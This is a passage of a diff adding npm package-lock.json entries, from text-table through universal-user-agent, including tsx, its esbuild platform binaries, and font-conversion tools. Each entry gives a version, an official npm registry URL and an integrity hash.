"https://registry.npmjs.org/text-table/-/text-table-0.2.0.tgz", + "integrity": "sha1-f17oI66AUgfACvLfSoTsP8+lcLQ=", + "dev": true + }, + "node_modules/textextensions": { + "version": "6.11.0", + "resolved": "https://registry.npmjs.org/textextensions/-/textextensions-6.11.0.tgz", + "integrity": "sha512-tXJwSr9355kFJI3lbCkPpUH5cP8/M0GGy2xLO34aZCjMXBaK3SoPnZwr/oWmo1FdCnELcs4npdCIOFtq9W3ruQ==", + "dev": true, + "dependencies": { + "editions": "^6.21.0" + }, + "engines": { + "node": ">=4" + }, + "funding": { + "url": "https://bevry.me/fund" + } + }, + "node_modules/through": { + "version": "2.3.8", + "resolved": "https://registry.npmjs.org/through/-/through-2.3.8.tgz", + "integrity": "sha512-w89qg7PI8wAdvX60bMDP+bFoD5Dvhm9oLheFp5O4a2QF0cSBGsBX4qZmadPMvVqlLJBBci+WqGGOAPvcDeNSVg==", + "dev": true, + "license": "MIT" + }, + "node_modules/timers-ext": { + "version": "0.1.8", + "resolved": "https://registry.npmjs.org/timers-ext/-/timers-ext-0.1.8.tgz", + "integrity": "sha512-wFH7+SEAcKfJpfLPkrgMPvvwnEtj8W4IurvEyrKsDleXnKLCDw71w8jltvfLa8Rm4qQxxT4jmDBYbJG/z7qoww==", + "dev": true, + "license": "ISC", + "dependencies": { + "es5-ext": "^0.10.64", + "next-tick": "^1.1.0" + }, + "engines": { + "node": ">=0.12" + } + }, + "node_modules/tmp": { + "version": "0.2.4", + "resolved": "https://registry.npmjs.org/tmp/-/tmp-0.2.4.tgz", + "integrity": "sha512-UdiSoX6ypifLmrfQ/XfiawN6hkjSBpCjhKxxZcWlUUmoXLaCKQU0bx4HF/tdDK2uzRuchf1txGvrWBzYREssoQ==", + "dev": true, + "engines": { + "node": ">=14.14" + } + }, + "node_modules/to-buffer": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/to-buffer/-/to-buffer-1.1.1.tgz", + "integrity": "sha512-lx9B5iv7msuFYE3dytT+KE5tap+rNYw+K4jVkb9R/asAb+pbBSM17jtunHplhBe6RRJdZx3Pn2Jph24O32mOVg==", + "dev": true, + "license": "MIT" + }, + "node_modules/to-regex-range": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", + "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", + "dependencies": { + "is-number": "^7.0.0" + }, + "engines": { + "node": ">=8.0" + } + }, + "node_modules/triple-beam": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/triple-beam/-/triple-beam-1.4.1.tgz", + "integrity": "sha512-aZbgViZrg1QNcG+LULa7nhZpJTZSLm/mXnHXnbAbjmN5aSa0y7V+wvv6+4WaBtpISJzThKy+PIPxc1Nq1EJ9mg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 14.0.0" + } + }, + "node_modules/ts-api-utils": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/ts-api-utils/-/ts-api-utils-2.1.0.tgz", + "integrity": "sha512-CUgTZL1irw8u29bzrOD/nH85jqyc74D6SshFgujOIA7osm2Rz7dYH77agkx7H4FBNxDq7Cjf+IjaX/8zwFW+ZQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=18.12" + }, + "peerDependencies": { + "typescript": ">=4.8.4" + } + }, + "node_modules/tsconfig-paths": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/tsconfig-paths/-/tsconfig-paths-4.2.0.tgz", + "integrity": "sha512-NoZ4roiN7LnbKn9QqE1amc9DJfzvZXxF4xDavcOWt1BPkdx+m+0gJuPM+S0vCe7zTJMYUP0R8pO2XMr+Y8oLIg==", + "dev": true, + "license": "MIT", + "dependencies": { + "json5": "^2.2.2", + "minimist": "^1.2.6", + "strip-bom": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/tslib": { + "version": "2.6.2", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.6.2.tgz", + "integrity": "sha512-AEYxH93jGFPn/a2iVAwW87VuUIkR1FVUKB77NwMF7nBTDkDrrT/Hpt/IrCJ0QXhW27jTBDcf5ZY7w6RiqTMw2Q==", + "dev": true + }, + "node_modules/tsx": { + "version": "4.20.6", + "resolved": "https://registry.npmjs.org/tsx/-/tsx-4.20.6.tgz", + "integrity": "sha512-ytQKuwgmrrkDTFP4LjR0ToE2nqgy886GpvRSpU0JAnrdBYppuY5rLkRUYPU1yCryb24SsKBTL/hlDQAEFVwtZg==", + "dev": true, + "dependencies": { + "esbuild": "~0.25.0", + "get-tsconfig": "^4.7.5" + }, + "bin": { + "tsx": "dist/cli.mjs" + }, + "engines": { + "node": ">=18.0.0" + }, + "optionalDependencies": { + "fsevents": "~2.3.3" + } + }, + "node_modules/tsx/node_modules/@esbuild/aix-ppc64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.25.12.tgz", + "integrity": "sha512-Hhmwd6CInZ3dwpuGTF8fJG6yoWmsToE+vYgD4nytZVxcu1ulHpUQRAB1UJ8+N1Am3Mz4+xOByoQoSZf4D+CpkA==", + "cpu": [ + "ppc64" + ], + "dev": true, + "optional": true, + "os": [ + "aix" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/tsx/node_modules/@esbuild/android-arm": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.25.12.tgz", + "integrity": "sha512-VJ+sKvNA/GE7Ccacc9Cha7bpS8nyzVv0jdVgwNDaR4gDMC/2TTRc33Ip8qrNYUcpkOHUT5OZ0bUcNNVZQ9RLlg==", + "cpu": [ + "arm" + ], + "dev": true, + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/tsx/node_modules/@esbuild/android-arm64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/android-arm64/-/android-arm64-0.25.12.tgz", + "integrity": "sha512-6AAmLG7zwD1Z159jCKPvAxZd4y/VTO0VkprYy+3N2FtJ8+BQWFXU+OxARIwA46c5tdD9SsKGZ/1ocqBS/gAKHg==", + "cpu": [ + "arm64" + ], + "dev": true, + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/tsx/node_modules/@esbuild/android-x64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/android-x64/-/android-x64-0.25.12.tgz", + "integrity": "sha512-5jbb+2hhDHx5phYR2By8GTWEzn6I9UqR11Kwf22iKbNpYrsmRB18aX/9ivc5cabcUiAT/wM+YIZ6SG9QO6a8kg==", + "cpu": [ + "x64" + ], + "dev": true, + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/tsx/node_modules/@esbuild/darwin-arm64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.25.12.tgz", + "integrity": "sha512-N3zl+lxHCifgIlcMUP5016ESkeQjLj/959RxxNYIthIg+CQHInujFuXeWbWMgnTo4cp5XVHqFPmpyu9J65C1Yg==", + "cpu": [ + "arm64" + ], + "dev": true, + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/tsx/node_modules/@esbuild/darwin-x64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.25.12.tgz", + "integrity": "sha512-HQ9ka4Kx21qHXwtlTUVbKJOAnmG1ipXhdWTmNXiPzPfWKpXqASVcWdnf2bnL73wgjNrFXAa3yYvBSd9pzfEIpA==", + "cpu": [ + "x64" + ], + "dev": true, + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/tsx/node_modules/@esbuild/freebsd-arm64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/freebsd-arm64/-/freebsd-arm64-0.25.12.tgz", + "integrity": "sha512-gA0Bx759+7Jve03K1S0vkOu5Lg/85dou3EseOGUes8flVOGxbhDDh/iZaoek11Y8mtyKPGF3vP8XhnkDEAmzeg==", + "cpu": [ + "arm64" + ], + "dev": true, + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/tsx/node_modules/@esbuild/freebsd-x64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/freebsd-x64/-/freebsd-x64-0.25.12.tgz", + "integrity": "sha512-TGbO26Yw2xsHzxtbVFGEXBFH0FRAP7gtcPE7P5yP7wGy7cXK2oO7RyOhL5NLiqTlBh47XhmIUXuGciXEqYFfBQ==", + "cpu": [ + "x64" + ], + "dev": true, + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/tsx/node_modules/@esbuild/linux-arm": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-arm/-/linux-arm-0.25.12.tgz", + "integrity": "sha512-lPDGyC1JPDou8kGcywY0YILzWlhhnRjdof3UlcoqYmS9El818LLfJJc3PXXgZHrHCAKs/Z2SeZtDJr5MrkxtOw==", + "cpu": [ + "arm" + ], + "dev": true, + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/tsx/node_modules/@esbuild/linux-arm64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.25.12.tgz", + "integrity": "sha512-8bwX7a8FghIgrupcxb4aUmYDLp8pX06rGh5HqDT7bB+8Rdells6mHvrFHHW2JAOPZUbnjUpKTLg6ECyzvas2AQ==", + "cpu": [ + "arm64" + ], + "dev": true, + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/tsx/node_modules/@esbuild/linux-ia32": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-ia32/-/linux-ia32-0.25.12.tgz", + "integrity": "sha512-0y9KrdVnbMM2/vG8KfU0byhUN+EFCny9+8g202gYqSSVMonbsCfLjUO+rCci7pM0WBEtz+oK/PIwHkzxkyharA==", + "cpu": [ + "ia32" + ], + "dev": true, + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/tsx/node_modules/@esbuild/linux-loong64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.25.12.tgz", + "integrity": "sha512-h///Lr5a9rib/v1GGqXVGzjL4TMvVTv+s1DPoxQdz7l/AYv6LDSxdIwzxkrPW438oUXiDtwM10o9PmwS/6Z0Ng==", + "cpu": [ + "loong64" + ], + "dev": true, + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/tsx/node_modules/@esbuild/linux-mips64el": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-mips64el/-/linux-mips64el-0.25.12.tgz", + "integrity": "sha512-iyRrM1Pzy9GFMDLsXn1iHUm18nhKnNMWscjmp4+hpafcZjrr2WbT//d20xaGljXDBYHqRcl8HnxbX6uaA/eGVw==", + "cpu": [ + "mips64el" + ], + "dev": true, + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/tsx/node_modules/@esbuild/linux-ppc64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-ppc64/-/linux-ppc64-0.25.12.tgz", + "integrity": "sha512-9meM/lRXxMi5PSUqEXRCtVjEZBGwB7P/D4yT8UG/mwIdze2aV4Vo6U5gD3+RsoHXKkHCfSxZKzmDssVlRj1QQA==", + "cpu": [ + "ppc64" + ], + "dev": true, + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/tsx/node_modules/@esbuild/linux-riscv64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-riscv64/-/linux-riscv64-0.25.12.tgz", + "integrity": "sha512-Zr7KR4hgKUpWAwb1f3o5ygT04MzqVrGEGXGLnj15YQDJErYu/BGg+wmFlIDOdJp0PmB0lLvxFIOXZgFRrdjR0w==", + "cpu": [ + "riscv64" + ], + "dev": true, + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/tsx/node_modules/@esbuild/linux-s390x": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-s390x/-/linux-s390x-0.25.12.tgz", + "integrity": "sha512-MsKncOcgTNvdtiISc/jZs/Zf8d0cl/t3gYWX8J9ubBnVOwlk65UIEEvgBORTiljloIWnBzLs4qhzPkJcitIzIg==", + "cpu": [ + "s390x" + ], + "dev": true, + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/tsx/node_modules/@esbuild/linux-x64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.25.12.tgz", + "integrity": "sha512-uqZMTLr/zR/ed4jIGnwSLkaHmPjOjJvnm6TVVitAa08SLS9Z0VM8wIRx7gWbJB5/J54YuIMInDquWyYvQLZkgw==", + "cpu": [ + "x64" + ], + "dev": true, + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/tsx/node_modules/@esbuild/netbsd-arm64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/netbsd-arm64/-/netbsd-arm64-0.25.12.tgz", + "integrity": "sha512-xXwcTq4GhRM7J9A8Gv5boanHhRa/Q9KLVmcyXHCTaM4wKfIpWkdXiMog/KsnxzJ0A1+nD+zoecuzqPmCRyBGjg==", + "cpu": [ + "arm64" + ], + "dev": true, + "optional": true, + "os": [ + "netbsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/tsx/node_modules/@esbuild/netbsd-x64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/netbsd-x64/-/netbsd-x64-0.25.12.tgz", + "integrity": "sha512-Ld5pTlzPy3YwGec4OuHh1aCVCRvOXdH8DgRjfDy/oumVovmuSzWfnSJg+VtakB9Cm0gxNO9BzWkj6mtO1FMXkQ==", + "cpu": [ + "x64" + ], + "dev": true, + "optional": true, + "os": [ + "netbsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/tsx/node_modules/@esbuild/openbsd-arm64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/openbsd-arm64/-/openbsd-arm64-0.25.12.tgz", + "integrity": "sha512-fF96T6KsBo/pkQI950FARU9apGNTSlZGsv1jZBAlcLL1MLjLNIWPBkj5NlSz8aAzYKg+eNqknrUJ24QBybeR5A==", + "cpu": [ + "arm64" + ], + "dev": true, + "optional": true, + "os": [ + "openbsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/tsx/node_modules/@esbuild/openbsd-x64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/openbsd-x64/-/openbsd-x64-0.25.12.tgz", + "integrity": "sha512-MZyXUkZHjQxUvzK7rN8DJ3SRmrVrke8ZyRusHlP+kuwqTcfWLyqMOE3sScPPyeIXN/mDJIfGXvcMqCgYKekoQw==", + "cpu": [ + "x64" + ], + "dev": true, + "optional": true, + "os": [ + "openbsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/tsx/node_modules/@esbuild/openharmony-arm64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/openharmony-arm64/-/openharmony-arm64-0.25.12.tgz", + "integrity": "sha512-rm0YWsqUSRrjncSXGA7Zv78Nbnw4XL6/dzr20cyrQf7ZmRcsovpcRBdhD43Nuk3y7XIoW2OxMVvwuRvk9XdASg==", + "cpu": [ + "arm64" + ], + "dev": true, + "optional": true, + "os": [ + "openharmony" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/tsx/node_modules/@esbuild/sunos-x64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/sunos-x64/-/sunos-x64-0.25.12.tgz", + "integrity": "sha512-3wGSCDyuTHQUzt0nV7bocDy72r2lI33QL3gkDNGkod22EsYl04sMf0qLb8luNKTOmgF/eDEDP5BFNwoBKH441w==", + "cpu": [ + "x64" + ], + "dev": true, + "optional": true, + "os": [ + "sunos" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/tsx/node_modules/@esbuild/win32-arm64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.25.12.tgz", + "integrity": "sha512-rMmLrur64A7+DKlnSuwqUdRKyd3UE7oPJZmnljqEptesKM8wx9J8gx5u0+9Pq0fQQW8vqeKebwNXdfOyP+8Bsg==", + "cpu": [ + "arm64" + ], + "dev": true, + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/tsx/node_modules/@esbuild/win32-ia32": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/win32-ia32/-/win32-ia32-0.25.12.tgz", + "integrity": "sha512-HkqnmmBoCbCwxUKKNPBixiWDGCpQGVsrQfJoVGYLPT41XWF8lHuE5N6WhVia2n4o5QK5M4tYr21827fNhi4byQ==", + "cpu": [ + "ia32" + ], + "dev": true, + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/tsx/node_modules/@esbuild/win32-x64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.25.12.tgz", + "integrity": "sha512-alJC0uCZpTFrSL0CCDjcgleBXPnCrEAhTBILpeAp7M/OFgoqtAetfBzX0xM00MUsVVPpVjlPuMbREqnZCXaTnA==", + "cpu": [ + "x64" + ], + "dev": true, + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/tsx/node_modules/esbuild": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.25.12.tgz", + "integrity": "sha512-bbPBYYrtZbkt6Os6FiTLCTFxvq4tt3JKall1vRwshA3fdVztsLAatFaZobhkBC8/BrPetoa0oksYoKXoG4ryJg==", + "dev": true, + "hasInstallScript": true, + "bin": { + "esbuild": "bin/esbuild" + }, + "engines": { + "node": ">=18" + }, + "optionalDependencies": { + "@esbuild/aix-ppc64": "0.25.12", + "@esbuild/android-arm": "0.25.12", + "@esbuild/android-arm64": "0.25.12", + "@esbuild/android-x64": "0.25.12", + "@esbuild/darwin-arm64": "0.25.12", + "@esbuild/darwin-x64": "0.25.12", + "@esbuild/freebsd-arm64": "0.25.12", + "@esbuild/freebsd-x64": "0.25.12", + "@esbuild/linux-arm": "0.25.12", + "@esbuild/linux-arm64": "0.25.12", + "@esbuild/linux-ia32": "0.25.12", + "@esbuild/linux-loong64": "0.25.12", + "@esbuild/linux-mips64el": "0.25.12", + "@esbuild/linux-ppc64": "0.25.12", + "@esbuild/linux-riscv64": "0.25.12", + "@esbuild/linux-s390x": "0.25.12", + "@esbuild/linux-x64": "0.25.12", + "@esbuild/netbsd-arm64": "0.25.12", + "@esbuild/netbsd-x64": "0.25.12", + "@esbuild/openbsd-arm64": "0.25.12", + "@esbuild/openbsd-x64": "0.25.12", + "@esbuild/openharmony-arm64": "0.25.12", + "@esbuild/sunos-x64": "0.25.12", + "@esbuild/win32-arm64": "0.25.12", + "@esbuild/win32-ia32": "0.25.12", + "@esbuild/win32-x64": "0.25.12" + } + }, + "node_modules/ttf2eot": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ttf2eot/-/ttf2eot-2.0.0.tgz", + "integrity": "sha512-U56aG2Ylw7psLOmakjemAzmpqVgeadwENg9oaDjaZG5NYX4WB6+7h74bNPcc+0BXsoU5A/XWiHabDXyzFOmsxQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "argparse": "^1.0.6", + "microbuffer": "^1.0.0" + }, + "bin": { + "ttf2eot": "ttf2eot.js" + } + }, + "node_modules/ttf2eot/node_modules/argparse": { + "version": "1.0.10", + "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz", + "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==", + "dev": true, + "license": "MIT", + "dependencies": { + "sprintf-js": "~1.0.2" + } + }, + "node_modules/ttf2woff": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/ttf2woff/-/ttf2woff-3.0.0.tgz", + "integrity": "sha512-OvmFcj70PhmAsVQKfC15XoKH55cRWuaRzvr2fpTNhTNer6JBpG8n6vOhRrIgxMjcikyYt88xqYXMMVapJ4Rjvg==", + "dev": true, + "license": "MIT", + "dependencies": { + "argparse": "^2.0.1", + "pako": "^1.0.0" + }, + "bin": { + "ttf2woff": "ttf2woff.js" + } + }, + "node_modules/ttf2woff2": { + "version": "4.0.5", + "resolved": "https://registry.npmjs.org/ttf2woff2/-/ttf2woff2-4.0.5.tgz", + "integrity": "sha512-zpoU0NopfjoyVqkFeQ722SyKk/n607mm5OHxuDS/wCCSy82B8H3hHXrezftA2KMbKqfJIjie2lsJHdvPnBGbsw==", + "dev": true, + "hasInstallScript": true, + "license": "MIT", + "dependencies": { + "bindings": "^1.5.0", + "bufferstreams": "^3.0.0", + "nan": "^2.14.2", + "node-gyp": "^9.0.0" + }, + "bin": { + "ttf2woff2": "bin/ttf2woff2.js" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/tunnel": { + "version": "0.0.6", + "resolved": "https://registry.npmjs.org/tunnel/-/tunnel-0.0.6.tgz", + "integrity": "sha512-1h/Lnq9yajKY2PEbBadPXj3VxsDDu844OnaAo52UVmIzIvwwtBPIuNvkjuzBlTWpfJyUbG3ez0KSBibQkj4ojg==", + "dev": true, + "engines": { + "node": ">=0.6.11 <=0.7.0 || >=0.7.3" + } + }, + "node_modules/tunnel-agent": { + "version": "0.6.0", + "resolved": "https://registry.npmjs.org/tunnel-agent/-/tunnel-agent-0.6.0.tgz", + "integrity": "sha512-McnNiV1l8RYeY8tBgEpuodCC1mLUdbSN+CYBL7kJsJNInOP8UjDDEwdk6Mw60vdLLrr5NHKZhMAOSrR2NZuQ+w==", + "dev": true, + "optional": true, + "dependencies": { + "safe-buffer": "^5.0.1" + }, + "engines": { + "node": "*" + } + }, + "node_modules/type": { + "version": "2.7.3", + "resolved": "https://registry.npmjs.org/type/-/type-2.7.3.tgz", + "integrity": "sha512-8j+1QmAbPvLZow5Qpi6NCaN8FB60p/6x8/vfNqOk/hC+HuvFZhL4+WfekuhQLiqFZXOgQdrs3B+XxEmCc6b3FQ==", + "dev": true, + "license": "ISC" + }, + "node_modules/type-check": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/type-check/-/type-check-0.4.0.tgz", + "integrity": "sha512-XleUoc9uwGXqjWwXaUTZAmzMcFZ5858QA2vvx1Ur5xIcixXIP+8LnFDgRplU30us6teqdlskFfu+ae4K79Ooew==", + "dev": true, + "dependencies": { + "prelude-ls": "^1.2.1" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/type-detect": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/type-detect/-/type-detect-4.1.0.tgz", + "integrity": "sha512-Acylog8/luQ8L7il+geoSxhEkazvkslg7PSNKOX59mbB9cOveP5aq9h74Y7YU8yDpJwetzQQrfIwtf4Wp4LKcw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + "node_modules/type-fest": { + "version": "0.20.2", + "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.20.2.tgz", + "integrity": "sha512-Ne+eE4r0/iWnpAxD852z3A+N0Bt5RN//NjJwRd2VFHEmrywxf5vsZlh4R6lixl6B+wz/8d+maTSAkN1FIkI3LQ==", + "dev": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/typed-rest-client": { + "version": "1.8.11", + "resolved": "https://registry.npmjs.org/typed-rest-client/-/typed-rest-client-1.8.11.tgz", + "integrity": "sha512-5UvfMpd1oelmUPRbbaVnq+rHP7ng2cE4qoQkQeAqxRL6PklkxsM0g32/HL0yfvruK6ojQ5x8EE+HF4YV6DtuCA==", + "dev": true, + "dependencies": { + "qs": "^6.9.1", + "tunnel": "0.0.6", + "underscore": "^1.12.1" + } + }, + "node_modules/typescript": { + "version": "5.9.3", + "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.9.3.tgz", + "integrity": "sha512-jl1vZzPDinLr9eUt3J/t7V6FgNEw9QjvBPdysz9KfQDD41fQrC2Y4vKQdiaUpFT4bXlb1RHhLpp8wtm6M5TgSw==", + "dev": true, + "bin": { + "tsc": "bin/tsc", + "tsserver": "bin/tsserver" + }, + "engines": { + "node": ">=14.17" + } + }, + "node_modules/uc.micro": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/uc.micro/-/uc.micro-2.1.0.tgz", + "integrity": "sha512-ARDJmphmdvUk6Glw7y9DQ2bFkKBHwQHLi2lsaH6PPmz/Ka9sFOBsBluozhDltWmnv9u/cF6Rt87znRTPV+yp/A==", + "dev": true, + "license": "MIT" + }, + "node_modules/uglify-js": { + "version": "3.19.3", + "resolved": "https://registry.npmjs.org/uglify-js/-/uglify-js-3.19.3.tgz", + "integrity": "sha512-v3Xu+yuwBXisp6QYTcH4UbH+xYJXqnq2m/LtQVWKWzYc1iehYnLixoQDN9FH6/j9/oybfd6W9Ghwkl8+UMKTKQ==", + "dev": true, + "license": "BSD-2-Clause", + "optional": true, + "bin": { + "uglifyjs": "bin/uglifyjs" + }, + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/unbzip2-stream": { + "version": "1.4.3", + "resolved": "https://registry.npmjs.org/unbzip2-stream/-/unbzip2-stream-1.4.3.tgz", + "integrity": "sha512-mlExGW4w71ebDJviH16lQLtZS32VKqsSfk80GCfUlwT/4/hNRFsoscrF/c++9xinkMzECL1uL9DDwXqFWkruPg==", + "dev": true, + "license": "MIT", + "dependencies": { + "buffer": "^5.2.1", + "through": "^2.3.8" + } + }, + "node_modules/underscore": { + "version": "1.13.6", + "resolved": "https://registry.npmjs.org/underscore/-/underscore-1.13.6.tgz", + "integrity": "sha512-+A5Sja4HP1M08MaXya7p5LvjuM7K6q/2EaC0+iovj/wOcMsTzMvDFbasi/oSapiwOlt252IqsKqPjCl7huKS0A==", + "dev": true + }, + "node_modules/undici": { + "version": "5.29.0", + "resolved": "https://registry.npmjs.org/undici/-/undici-5.29.0.tgz", + "integrity": "sha512-raqeBD6NQK4SkWhQzeYKd1KmIG6dllBOTt55Rmkt4HtI9mwdWtJljnrXjAFUBLTSN67HWrOIZ3EPF4kjUw80Bg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@fastify/busboy": "^2.0.0" + }, + "engines": { + "node": ">=14.0" + } + }, + "node_modules/undici-types": { + "version": "6.21.0", + "resolved": "https://registry.npmjs.org/undici-types/-/undici-types-6.21.0.tgz", + "integrity": "sha512-iwDZqg0QAGrg9Rav5H4n0M64c3mkR59cJ6wQp+7C4nI0gsmExaedaYLNO44eT4AtBBwjbTiGPMlt2Md0T9H9JQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/unicorn-magic": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/unicorn-magic/-/unicorn-magic-0.3.0.tgz", + "integrity": "sha512-+QBBXBCvifc56fsbuxZQ6Sic3wqqc3WWaqxs58gvJrcOuN83HGTCwz3oS5phzU9LthRNE9VrJCFCLUgHeeFnfA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/unique-filename": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/unique-filename/-/unique-filename-2.0.1.tgz", + "integrity": "sha512-ODWHtkkdx3IAR+veKxFV+VBkUMcN+FaqzUUd7IZzt+0zhDZFPFxhlqwPF3YQvMHx1TD0tdgYl+kuPnJ8E6ql7A==", + "dev": true, + "license": "ISC", + "dependencies": { + "unique-slug": "^3.0.0" + }, + "engines": { + "node": "^12.13.0 || ^14.15.0 || >=16.0.0" + } + }, + "node_modules/unique-slug": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/unique-slug/-/unique-slug-3.0.0.tgz", + "integrity": "sha512-8EyMynh679x/0gqE9fT9oilG+qEt+ibFyqjuVTsZn1+CMxH+XLlpvr2UZx4nVcCwTpx81nICr2JQFkM+HPLq4w==", + "dev": true, + "license": "ISC", + "dependencies": { + "imurmurhash": "^0.1.4" + }, + "engines": { + "node": "^12.13.0 || ^14.15.0 || >=16.0.0" + } + }, + "node_modules/universal-github-app-jwt": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/universal-github-app-jwt/-/universal-github-app-jwt-1.2.0.tgz", + "integrity": "sha512-dncpMpnsKBk0eetwfN8D8OUHGfiDhhJ+mtsbMl+7PfW7mYjiH8LIcqRmYMtzYLgSh47HjfdBtrBwIQ/gizKR3g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/jsonwebtoken": "^9.0.0", + "jsonwebtoken": "^9.0.2" + } + }, + "node_modules/universal-user-agent": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/universal-user-agent/-/universal-user-agent-6.0.1.tgz", + "integrity": "sha512-yCzhz6FN2wU1NiiQRogkTQszlQSlpWaw8SvVegAc+bDxbzHgh1vX8uIe8OYyMH6DwH+sdTJsgMl36+mSMdRJIQ==", + "dev": true, + "license": "ISC" + }, + 